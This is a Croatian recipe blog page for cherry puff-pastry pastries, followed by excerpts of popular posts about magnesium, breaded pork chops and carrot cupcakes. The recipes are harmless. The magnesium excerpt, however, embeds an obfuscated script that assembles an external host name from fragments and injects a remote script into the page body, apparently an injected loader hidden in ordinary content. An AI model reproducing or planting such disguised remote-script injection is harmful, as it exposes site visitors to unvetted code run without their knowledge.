POGAČICE OD LISNATOG TIJESTA S TREŠNJAMA 🍒




Pogačice od lisnatog tijesta s trešnjama 



Iskoristite sezonu trešanja i napravite ukusan desert za svoje ukućane. Ove pogačice od lisnatog tijesta i tog finog voća savršen su izbor.




Pogačice od lisnatog tijesta s trešnjama 


Sastojci:

  • 500 g svježih trešanja bez koštica
  • 500 g lisnatog tijesta
  • 100 g bijelog šećera
  • 30 ml mlijeka
  • 15 ml vode
  • 12 g gustina
  • 1 jaje
  • 1 čajna žličica svježe iscijeđenog limunova soka
  • 1 čajna žličica ekstrakta vanilije
  • šećer za posipanje




Priprema:

Pripremite nadjev: u loncu pomiješajte oprane, očišćene trešnje sa 100 grama bijelog šećera i limunovim sokom. Kuhajte na srednje jakoj vatri oko pet minuta dok voće ne omekša. U maloj zdjelici pomiješajte gustin i vodu dok ne dobijete glatku smjesu. Ulijte je u lonac s trešnjama, dobro pomiješajte i kuhajte sve zajedno oko jedne do dvije minute.
Uklonite lonac sa štednjaka. Dodajte ekstrakt vanilije i sve promiješajte još jednom. Ostavite da se nadjev ohladi do kraja.
Na pobrašnjenoj površini razvaljajte lisnato tijesto i izrežite ga na 8 pravokutnih dijelova – četiri će služiti za donji dio pogačice, a četiri za gornji dio.
Prebacite četiri lisnata komada tijesta na lim za pečenje koji ste prekrili papirom za pečenje. Na svaki pravokutnik stavite četvrtinu nadjeva smjese od trešanja, pa ga prekrijte gornjim dijelom tijesta. Vilicom pritisnite rubove kako biste ih dobro spojili.
Izmutite jaja s mlijekom i ovom smjesom premažite vrh pogačica. Zarežite vrh svake pogačice kako bi para mogla izaći iz tijesta tijekom termičke obrade. Pospite dodatni šećer preko vrh pogačica i stavite ih u hladnjak na barem 25 minuta da se stisnu.
Kada ste spremni za pečenje, stavite ih peći u zagrijanu pećnicu na 190 Celzijevih stupnjeva pa pecite oko 30 minuta, odnosno dok lisnato tijesto ne dobije lijepu zlatno-smeđu boju.
Ohladite prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više